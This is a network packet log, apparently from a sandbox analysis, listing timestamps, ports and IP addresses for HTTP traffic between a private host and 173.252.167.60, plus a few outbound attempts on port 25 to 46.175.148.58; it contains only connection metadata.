Jan 14, 2025 19:18:00.364033937 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364065886 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364073038 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364098072 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364130020 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364161968 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364170074 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364212990 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364221096 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364273071 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364305973 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364320993 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364352942 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364386082 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364398956 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364417076 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364449024 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364463091 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364475965 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364520073 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364525080 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364557981 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364588976 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364604950 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364624977 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364655972 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364670038 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364692926 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364737988 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364739895 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364773035 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364804029 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364820004 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364836931 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364867926 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364881039 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364901066 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364932060 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364947081 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.364964008 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.364995956 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365010023 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.365027905 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365058899 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365068913 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.365091085 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365123987 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365134954 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.365155935 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365186930 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365206003 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.365219116 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365251064 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.365258932 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.377623081 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.433150053 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:00.438746929 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:00.438847065 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:20.092109919 CET	49740	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:21.101901054 CET	49740	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:23.101897955 CET	49740	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:27.101912022 CET	49740	25	192.168.2.4	46.175.148.58
Jan 14, 2025 19:18:27.611766100 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:27.616667032 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:27.619848967 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:27.620418072 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:27.625207901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219835043 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219850063 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219860077 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219870090 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219877958 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219888926 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219898939 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219901085 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.219907999 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219917059 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219927073 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.219984055 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.219984055 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.224720955 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.224730015 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.224739075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.224770069 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.273864031 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.292558908 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.292572021 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.292654991 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.306756020 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.306771040 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.306787968 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.306797981 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.306808949 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.306848049 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.306848049 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.307216883 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.307231903 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.307240963 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.307250023 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.307260036 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.307267904 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.307281017 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.307336092 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.308193922 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.308204889 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.308213949 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.308223009 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.308233023 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.308260918 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.308260918 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.309021950 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.309039116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.309048891 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.309057951 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.309067011 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.309096098 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.309097052 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.309250116 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.309808016 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.354701042 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.393707991 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.393732071 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.393740892 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.393749952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.393754959 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.393763065 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.393769026 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.393796921 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.393796921 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.393856049 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.394067049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394083023 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394119978 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.394294977 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394303083 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394311905 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394320011 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394329071 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394337893 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394346952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.394371033 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.394371033 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.394459009 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.395268917 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.395277977 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.395287037 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.395296097 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.395304918 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.395323038 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.395332098 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.395340919 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.395340919 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.395351887 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.396008968 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396066904 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.396076918 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396085978 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396094084 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396102905 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396111965 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396120071 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396137953 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.396137953 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.396177053 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.396953106 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396961927 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396970987 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396980047 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.396986961 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.397006989 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.397021055 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.480571985 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480587006 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480602026 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480612040 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480619907 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480624914 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480633974 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480645895 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.480709076 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.480881929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480914116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480925083 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.480972052 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.480972052 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.481175900 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481184959 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481193066 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481200933 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481209993 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481223106 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.481245995 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.481590033 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481604099 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481612921 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481621981 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481631994 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481641054 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481645107 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.481645107 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.481648922 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481657982 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481669903 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481682062 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.481687069 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.481687069 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.481725931 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.482268095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482315063 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.482405901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482414961 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482424021 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482439041 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482446909 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482455969 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482456923 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.482464075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482471943 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482480049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482489109 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.482501984 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.482501984 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.482547998 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.483258009 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483267069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483279943 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483288050 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483302116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483310938 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483328104 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483330965 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.483330965 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.483333111 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483338118 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483341932 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483346939 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.483475924 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.484155893 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484165907 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484174967 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484219074 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.484219074 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.484247923 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484256983 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484265089 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484273911 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484282017 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484289885 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484298944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484308004 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.484311104 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.484311104 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.484344959 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.484344959 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.485074997 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.485084057 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.485089064 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.485093117 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.485100985 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.485105991 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.485133886 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.485188007 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.527939081 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.527949095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.527957916 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.527997017 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.567380905 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567414045 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567423105 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567440033 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567450047 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567459106 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567487001 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.567487001 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.567586899 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567601919 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567610025 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.567610979 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567620039 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567630053 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567639112 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567648888 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567650080 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.567650080 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.567657948 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567667007 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.567679882 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.567718983 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568093061 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568106890 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568115950 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568125010 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568133116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568141937 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568146944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568150997 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568155050 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568159103 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568167925 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568171024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568171024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568243027 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568664074 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568679094 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568687916 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568696976 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568705082 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568713903 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568722010 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568727016 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568727016 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568732023 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568739891 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568748951 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568758011 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568766117 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568775892 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568782091 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568782091 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568785906 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568798065 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.568819046 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568819046 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.568855047 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569463015 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569472075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569484949 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569494009 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569503069 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569510937 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569521904 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569529057 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569529057 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569535017 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569542885 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569551945 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569552898 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.569556952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569566011 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.569575071 CET	80	49741	173.252.167.60	192.168.2.4
